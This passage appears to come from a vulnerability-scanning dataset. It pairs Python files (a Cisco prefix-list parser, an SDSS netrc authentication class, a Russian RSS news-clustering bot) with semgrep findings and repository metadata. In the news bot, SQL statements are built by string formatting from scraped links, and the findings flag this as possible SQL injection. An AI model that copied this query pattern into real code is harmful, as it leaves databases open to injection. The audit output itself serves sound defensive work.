+(?P<entries>\d+),( +' 'sequences: +(?P<sequences>[\d\-\s]+),)? +' 'refcount: +(?P<refcount>\d+)$') m = p2.match(line) if m: ret_dict['prefix_set_name'][name]['count'] = int(m.groupdict()['count']) ret_dict['prefix_set_name'][name]['range_entries'] = int(m.groupdict()['entries']) if m.groupdict()['sequences']: ret_dict['prefix_set_name'][name]['sequences'] = m.groupdict()['sequences'] ret_dict['prefix_set_name'][name]['refcount'] = int(m.groupdict()['refcount']) ret_dict['prefix_set_name'][name]['protocol'] = protocol continue # seq 5 permit 10.205.0.0/8 (hit count: 0, refcount: 1) # seq 5 permit 2001:DB8:1::/64 (hit count: 0, refcount: 1) # seq 20 permit 10.94.0.0/8 ge 24 (hit count: 0, refcount: 2) # seq 25 permit 10.169.0.0/8 ge 16 le 24 (hit count: 0, refcount: 3) p3 = re.compile(r'^seq +(?P<seq>\d+) +(?P<action>\w+) +' '(?P<prefixes>(?P<prefix>[\w\.\|:]+)\/(?P<mask>\d+))' '( *(?P<range>[lge\d\s]+))?' ' +\(hit +count: +(?P<hit_count>\d+), +refcount: +(?P<refcount>\d+)\)$') m = p3.match(line) if m: prefixes = m.groupdict()['prefixes'] mask = m.groupdict()['mask'] action = m.groupdict()['action'] if 'prefixes' not in ret_dict['prefix_set_name'][name]: ret_dict['prefix_set_name'][name]['prefixes'] = {} # masklength_range dummy = m.groupdict()['range'] if not dummy: masklength_range = '{val1}..{val2}'.format(val1=mask, val2=mask) else: dummy = dummy.strip() # ge 16 le 24 match = re.compile(r'^ge +(?P<val1>\d+) +le +(?P<val2>\d+)$').match(dummy) if match: masklength_range = '{val1}..{val2}'.format(val1=match.groupdict()['val1'], val2=match.groupdict()['val2']) # le 16 match = re.compile(r'^le +(?P<val2>\d+)$').match(dummy) if match: masklength_range = '{val1}..{val2}'.format(val1=mask, val2=match.groupdict()['val2']) # ge 16 match = re.compile(r'^ge +(?P<val1>\d+)$').match(dummy) if match: max_val = '32' if af == 'ip' else '128' masklength_range = '{val1}..{val2}'.format(val1=match.groupdict()['val1'], val2=max_val) # compose the level key vaule key = '{prefixes} {masklength_range} {action}'.format(prefixes=prefixes, masklength_range=masklength_range, action=action) if key not in ret_dict['prefix_set_name'][name]['prefixes']: ret_dict['prefix_set_name'][name]['prefixes'][key] = {} ret_dict['prefix_set_name'][name]['prefixes'][key]['prefix'] = prefixes ret_dict['prefix_set_name'][name]['prefixes'][key]['masklength_range'] = masklength_range ret_dict['prefix_set_name'][name]['prefixes'][key]['action'] = action ret_dict['prefix_set_name'][name]['prefixes'][key]['sequence'] = int(m.groupdict()['seq']) ret_dict['prefix_set_name'][name]['prefixes'][key]['hit_count'] = int(m.groupdict()['hit_count']) ret_dict['prefix_set_name'][name]['prefixes'][key]['refcount'] = int(m.groupdict()['refcount']) continue return ret_dict # =========================================== # Parser for 'show ipv6 prefix-list detail' # =========================================== class ShowIpv6PrefixListDetail(ShowIpPrefixListDetail, ShowIpPrefixListDetailSchema): """Parser for show ipv6 prefix-list detail""" cli_command = 'show ipv6 prefix-list detail' def cli(self, af='ipv6', output=None): # ip should be ip or ipv6 if output is None: # get output from device out = self.device.execute(self.cli_command) else: out = output return super().cli(af=af, output=out)
180
41.97
113
23
1,752
python
[{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_f532824cc4bd6c3b_cd7c0878", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 64, "line_end": 64, "column_start": 19, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/f532824cc4bd6c3b.py", "start": {"line": 64, "col": 19, "offset": 1980}, "end": {"line": 64, "col": 70, "offset": 2031}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 64 ]
[ 64 ]
[ 19 ]
[ 70 ]
[ "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
show_prefix_list.py
/src/genie/libs/parser/iosxe/show_prefix_list.py
CiscoTestAutomation/genieparser
Apache-2.0
2024-11-18T21:51:16.153233+00:00
1,692,037,722,000
7c743e3e22d4103223623a0b8410bd3ee034e2a8
3
{ "blob_id": "7c743e3e22d4103223623a0b8410bd3ee034e2a8", "branch_name": "refs/heads/main", "committer_date": 1692037722000, "content_id": "24970b581b9231d57121ac0ad08e8746c24c6a87", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "553c575677be1e0f5bb7a3e021fed7e14304a146", "extension": "py", "filename": "auth.py", "fork_events_count": 2, "gha_created_at": 1476996990000, "gha_event_created_at": 1692037729000, "gha_language": "Python", "gha_license_id": "BSD-3-Clause", "github_id": 71503795, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4772, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/python/sdss_access/sync/auth.py", "provenance": "stack-edu-0054.json.gz:588437", "repo_name": "sdss/sdss_access", "revision_date": 1692037722000, "revision_id": "14e342df4fa1c3ac33ed1789b0ab18362104c3f3", "snapshot_id": "a8d11094206591302696d9c740a9911305c8c1af", "src_encoding": "UTF-8", "star_events_count": 13, "url": "https://raw.githubusercontent.com/sdss/sdss_access/14e342df4fa1c3ac33ed1789b0ab18362104c3f3/python/sdss_access/sync/auth.py", "visit_date": "2023-08-18T23:46:46.557986" }
2.546875
stackv2
from __future__ import absolute_import, division, print_function, unicode_literals from six.moves import input from sdss_access import is_posix from sdss_access.path import AccessError from os.path import join from os import environ class Auth(object): ''' class for setting up SAS authenticaton for SDSS users ''' def __init__(self, netloc=None, public=False, verbose=False): self.public = public self.verbose = verbose self.username = None self.password = None self.set_netloc(netloc=netloc) self.set_netrc() def set_netrc(self): """ add the following username and password to your ~/.netrc file and remember to chmod 600 ~/.netrc For SDSS-IV access: machine data.sdss.org login sdss password ***-****** For SDSS-V access: machine data.sdss5.org login sdss5 password *******-* Windows: recommending _netrc following https://stackoverflow.com/questions/6031214/git-how-to-use-netrc-file-on-windows-to-save-user-and-password """ # set blank netrc self.netrc = None # if public do nothing if self.public: return # try to get the netrc file try: from netrc import netrc except Exception as e: netrc = None if self.verbose: print("SDSS_ACCESS> AUTH NETRC: {0}".format(e)) if netrc: netfile = join(environ['HOME'], "_netrc") if not is_posix else None try: self.netrc = netrc(netfile) except FileNotFoundError as e: raise AccessError("No netrc file found. Please create one. {0}".format(e)) def set_netloc(self, netloc=None): ''' sets the url domain location ''' self.netloc = netloc def set_username(self, username=None, inquire=None): ''' sets the authentication username Parameters: username: str The username for SDSS SAS access inquire: bool If True, prompts for input of username. ''' self.username = input("user [sdss]: ") or "sdss" if inquire else username def set_password(self, password=None, inquire=None): ''' sets the authentication password Parameters: password: str The password for SDSS SAS access inquire: bool If True, prompts for input of password. ''' try: from getpass import getpass self.password = getpass("password: ") if inquire else password except Exception as e: if self.verbose: print("SDSS_ACCESS> AUTH PASSWORD: {0}".format(e)) self.password = None def ready(self): return self.username and self.password def load(self): ''' Sets the username and password from the local netrc file ''' if self.netloc and self.netrc: authenticators = self.netrc.authenticators(self.netloc) if authenticators and len(authenticators) == 3: self.set_username(authenticators[0]) self.set_password(authenticators[2]) if self.verbose: print("authentication for netloc={0} set for username={1}".format(self.netloc, self.username)) else: if self.verbose: print("cannot find {0} in ~/.netrc".format(self.netloc)) self.set_username() self.set_password() else: self.set_username() self.set_password() class AuthMixin(object): ''' Mixin class to provide authentication method to other classes ''' def set_auth(self, username=None, password=None, inquire=True): ''' Set the authentication Parameters: username: str The username for SDSS SAS access password: str The password for SDSS SAS access inquire: bool If True, prompts for input of username/password. ''' self.auth = Auth(public=self.public, netloc=self.netloc, verbose=self.verbose) self.auth.set_username(username) self.auth.set_password(password) # if public then exit if self.public: return # try to load the username and password if not self.auth.ready(): self.auth.load() # if still not ready then prompt for username and password if not self.auth.ready(): self.auth.set_username(inquire=inquire) self.auth.set_password(inquire=inquire)
142
32.61
118
19
985
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_ff41b8875d77f636_0a7d74a9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_posix\" a function or an attribute? If it is a function, you may have meant is_posix.is_posix() because is_posix.is_posix is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 53, "line_end": 53, "column_start": 62, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/ff41b8875d77f636.py", "start": {"line": 53, "col": 62, "offset": 1586}, "end": {"line": 53, "col": 70, "offset": 1594}, "extra": {"message": "Is \"is_posix\" a function or an attribute? If it is a function, you may have meant is_posix.is_posix() because is_posix.is_posix is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_ff41b8875d77f636_4abc88ce", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'self' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "remediation": "if django.contrib.auth.password_validation.validate_password(authenticators[2], user=self):\n self.set_password(authenticators[2])", "location": {"file_path": "unknown", "line_start": 100, "line_end": 100, "column_start": 17, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-521: Weak Password Requirements", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2021 - Identification and Authentication Failures", "references": [{"url": "https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.unvalidated-password", "path": "/tmp/tmp10dxl77l/ff41b8875d77f636.py", "start": {"line": 100, "col": 17, "offset": 3269}, "end": {"line": 100, "col": 53, "offset": 3305}, "extra": {"message": "The password on 'self' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "fix": "if django.contrib.auth.password_validation.validate_password(authenticators[2], user=self):\n self.set_password(authenticators[2])", "metadata": {"cwe": ["CWE-521: Weak Password Requirements"], "owasp": ["A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation"], "category": "security", "technology": ["django"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_ff41b8875d77f636_ab60412c", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'self.auth' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "remediation": "if django.contrib.auth.password_validation.validate_password(password, user=self.auth):\n self.auth.set_password(password)", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 9, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-521: Weak Password Requirements", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2021 - Identification and Authentication Failures", "references": [{"url": "https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.unvalidated-password", "path": "/tmp/tmp10dxl77l/ff41b8875d77f636.py", "start": {"line": 129, "col": 9, "offset": 4347}, "end": {"line": 129, "col": 41, "offset": 4379}, "extra": {"message": "The password on 'self.auth' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "fix": "if django.contrib.auth.password_validation.validate_password(password, user=self.auth):\n self.auth.set_password(password)", "metadata": {"cwe": ["CWE-521: Weak Password Requirements"], "owasp": ["A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation"], "category": "security", "technology": ["django"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-521", "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password", "rules.python.django.security.audit.unvalidated-password" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 100, 129 ]
[ 100, 129 ]
[ 17, 9 ]
[ 53, 41 ]
[ "A07:2021 - Identification and Authentication Failures", "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'self' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "The password on 'self.auth' is bei...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
auth.py
/python/sdss_access/sync/auth.py
sdss/sdss_access
BSD-3-Clause
2024-11-18T21:51:19.483848+00:00
1,504,093,077,000
21d29d08c4d96fd29547970511ed090689063228
2
{ "blob_id": "21d29d08c4d96fd29547970511ed090689063228", "branch_name": "refs/heads/master", "committer_date": 1504093077000, "content_id": "0502f5a9a5ea29c03eaef8b3ed7106373a20405d", "detected_licenses": [ "MIT" ], "directory_id": "351a58a3825ae0f0717e105fc6126fce628dbaa8", "extension": "py", "filename": "news.py", "fork_events_count": 1, "gha_created_at": 1491988109000, "gha_event_created_at": 1494010031000, "gha_language": null, "gha_license_id": null, "github_id": 88032237, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8396, "license": "MIT", "license_type": "permissive", "path": "/Ono2_NewsBot/news.py", "provenance": "stack-edu-0054.json.gz:588467", "repo_name": "iagorshkov/main", "revision_date": 1504093077000, "revision_id": "6c9141f02c7f42fad4101f5e38cc979a827f6b6a", "snapshot_id": "19ba30dfd496f89b38ea9b1b58cc343ba505f790", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/iagorshkov/main/6c9141f02c7f42fad4101f5e38cc979a827f6b6a/Ono2_NewsBot/news.py", "visit_date": "2021-01-19T12:25:19.449027" }
2.359375
stackv2
from bs4 import BeautifulSoup from datetime import timedelta, datetime import db from nltk import FreqDist import pymorphy2 from random import choice, sample from string import punctuation import requests import pandas as pd from sklearn.feature_extraction.text import TfidfVectorizer import numpy as np from random import choice from scipy.cluster.hierarchy import fcluster, linkage from newspaper import Article import re import botan from tqdm import tqdm NEWS_LOCATION = 'data/news.csv' exclude = "[" + punctuation + "'0123456789[]—«»–]" alt_normal_forms = {"газа":"газ", "Песков":"песков"} cands = ['NOUN'] stopwords = ['россия', 'сша'] def represent_news(text): words = text.split() if len(words[0]) > 7: news_start = words[0] news_other = ' '.join(words[1:]) else: news_start = ' '.join(words[:2]) news_other = ' '.join(words[2:]) return news_start, news_other def normal_form(text): text = re.sub(r'([^\s\w])', '', text) news_text = text.split() nouns = [] morph = pymorphy2.MorphAnalyzer() for word in news_text: word_cleaned = ''.join(ch for ch in word if ch not in exclude) if word_cleaned != '': gram_info = morph.parse(word)[0] if 'NOUN' in gram_info.tag or 'VERB' in gram_info.tag or 'ADJF' in gram_info.tag: try: nouns.append(morph.parse(word)[0].normal_form) except: pass return ' '.join(nouns) def clean_text(text): return text.replace('&quot', '').replace('\n', '').replace('\xa0',' ') def parse_rss(rss_url): new = [] raw_html = requests.get(rss_url).text soup = BeautifulSoup(raw_html, 'html.parser') news = soup.find_all('item') for item in news: try: news_title = clean_text(item.title.getText()) news_description = '' if item.description is not None: news_description = clean_text(item.description.getText()) news_pubdate = ''.join(item.pubdate.getText()[:-6].split(',')[1:]).strip() news_link = item.link.getText() news_source = re.findall('/([a-z.]+).(io|com|ru)', rss_url)[0][0].split('.')[-1].capitalize() new.append([news_title, normal_form(news_title), news_link, news_description, normal_form(news_description), news_pubdate, news_source]) except: pass return new def upd_news(): print('updating news...') meduza_news = parse_rss('https://meduza.io/rss/news') interfax_news = parse_rss('http://interfax.ru/rss.asp') lenta_news = parse_rss('https://lenta.ru/rss') tass_news = parse_rss('http://tass.ru/rss/v2.xml') rambler_news = parse_rss('https://news.rambler.ru/rss/head/') russia_today_news = parse_rss('https://russian.rt.com/rss') vedomosti_news = parse_rss('https://vedomosti.ru/rss/news') total_news = tass_news + vedomosti_news + lenta_news + meduza_news + interfax_news + rambler_news + russia_today_news database = db.database() database.cursor.execute('select link from news;') links = database.cursor.fetchall() links = [link[0] for link in links] new_news = [] for c, news in tqdm(enumerate(total_news)): if datetime.now() - datetime.strptime(news[5], "%d %b %Y %H:%M:%S") < timedelta(days=1): if not news[2] in links: article = Article(news[2], language='ru') article.download() try: article.parse() except: pass news.append(article.text) news.append(normal_form(article.text)) news += [0,0] new_news.append(news) print('pasting in db...') database.connection.commit() database.connection.close() database = db.database() for news in tqdm(new_news): if not database.if_news_exists(news[2]): try: database.save_news(news) database.connection.commit() except: pass database.delete_old_news() def get_hot_news(): database = db.database() database.cursor.execute('select * from news where hot_topic>3 order by hot_topic desc;') hot = database.cursor.fetchall() database.connection.close() news = [] for c in range(len(hot)): news_start, news_other = represent_news(hot[c][0]) news.append('▶ <a href="%s">%s</a> %s' % (hot[c][2], news_start, news_other)) return '\n\n'.join(news) def get_other_hot_news(): database = db.database() database.cursor.execute('select * from news where hot_topic>0 and hot_topic<4 order by hot_topic desc;') hot = database.cursor.fetchall() database.connection.close() news = [] for c in range(len(hot)): news_start, news_other = represent_news(hot[c][0]) news.append('▶ <a href="%s">%s</a> %s' % (hot[c][2], news_start, news_other)) return '\n\n'.join(news) def update_clusters(): news = np.array(db.database().get_news()) norm_texts = (news[:,1] + ' ' + news[:,4] + ' ' + news[:,8]) for c in range(len(norm_texts)): norm_texts[c] = norm_texts[c].replace('\xa0', ' ') tf = TfidfVectorizer() texts_transformed = tf.fit_transform(norm_texts) Z = linkage(texts_transformed.todense(), 'ward') clusters = fcluster(Z, 1.4, criterion='distance') database = db.database() for c in range(len(news)): database.update_news_cluster(news[c][2], clusters[c]) database.connection.commit() database.connection.close() print('clusters updated') def set_hot_news(): news = np.array(db.database().get_news()) df = pd.DataFrame(news, columns=['header', 'header_preproc', 'link', 'text', 'text_preproc', 'date', 'source', 'full_text', 'full_text_preproc', 'cluster', 'hot_topic']) cluster_sizes = df.groupby('cluster').count()['header'].values avg_time = [] sources = [] for c in np.unique(df['cluster']): avg_time.append((datetime.now() - df[df['cluster'] == c]['date']).astype('m8[ms]').mean()) sources.append(np.unique(df[df['cluster'] == c]['source'].values).shape[0]) time_ind = np.array(avg_time)/max(avg_time) news_rate = np.array(cluster_sizes) * np.array((3-time_ind))*(1+np.array(sources)/7) clust_rating = np.argsort(news_rate)[::-1] + 1 database = db.database() database.cursor.execute('update news set hot_topic=0;') for i, cluster in enumerate((clust_rating[:10])): database.cursor.execute("UPDATE news SET hot_topic = %d WHERE link='%s'" % (10-i, get_cl(df[df['cluster'] == cluster]['link'].values))) database.connection.commit() database.connection.close() print('hot news updated') def get_cl(cluster): distances = np.zeros(shape=(len(cluster), len(cluster))) for c in range(len(cluster)): for d in range(len(cluster)): distances[c][d] = distance(cluster[c], cluster[d]) a = distances.sum(axis=1) return cluster[np.argmin(a)] def distance(a, b): "Calculates the Levenshtein distance between a and b." n, m = len(a), len(b) if n > m: a, b = b, a n, m = m, n current_row = range(n+1) for i in range(1, m+1): previous_row, current_row = current_row, [i]+[0]*n for j in range(1,n+1): add, delete, change = previous_row[j]+1, current_row[j-1]+1, previous_row[j-1] if a[j-1] != b[i-1]: change += 1 current_row[j] = min(add, delete, change) return current_row[n] def get_random_news(): database = db.database() database.cursor.execute('SELECT * from news order by date desc limit 30;') last_news = database.cursor.fetchall() database.connection.close() rand_news = last_news[np.random.randint(0,30)] news_start, news_other = represent_news(rand_news[0]) news_words = rand_news[7].split() full_text = ' ' + ' '.join(news_words[:100]) if len(news_words) > 100: full_text += '... <a href="%s">Читать далее</a>' % (rand_news[2]) return '🆕 %s, %s: <a href="%s">%s</a> %s \n\n%s' % (rand_news[5].strftime('%Y-%m-%d %H:%M'), rand_news[6], rand_news[2], news_start, news_other, full_text) def get_rare(chat_id=None): database = db.database() database.cursor.execute('SELECT cluster from (SELECT count(*) as count, cluster from news GROUP BY cluster order BY count LIMIT 10) as t1;') clusters = database.cursor.fetchall() clusters = [cluster[0] for cluster in clusters] rand_cluster = np.random.choice(clusters) database.cursor.execute('select * from news where cluster=%d limit 1;' % rand_cluster) rand_news = list(database.cursor.fetchall()[0]) news_start, news_other = represent_news(rand_news[0]) news_words = rand_news[7].split() full_text = ' ' + ' '.join(news_words[:100]) if len(news_words) > 100: full_text += '... <a href="%s">Читать далее</a>' % (rand_news[2]) return '🆕 %s, %s: <a href="%s">%s</a> %s \n\n%s' % (rand_news[5].strftime('%Y-%m-%d %H:%M'), rand_news[6], rand_news[2], news_start, news_other, full_text)
253
31.93
141
21
2,366
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_36379889fcb17b04_7509327f", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 13, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/36379889fcb17b04.py", "start": {"line": 65, "col": 13, "offset": 1545}, "end": {"line": 65, "col": 34, "offset": 1566}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_36379889fcb17b04_488aa855", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(rss_url, timeout=30)", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 13, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/36379889fcb17b04.py", "start": {"line": 65, "col": 13, "offset": 1545}, "end": {"line": 65, "col": 34, "offset": 1566}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(rss_url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_36379889fcb17b04_8b037ee6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 189, "line_end": 189, "column_start": 3, "column_end": 138, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmp10dxl77l/36379889fcb17b04.py", "start": {"line": 189, "col": 3, "offset": 5933}, "end": {"line": 189, "col": 138, "offset": 6068}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_36379889fcb17b04_af2374b9", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 189, "line_end": 189, "column_start": 3, "column_end": 138, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 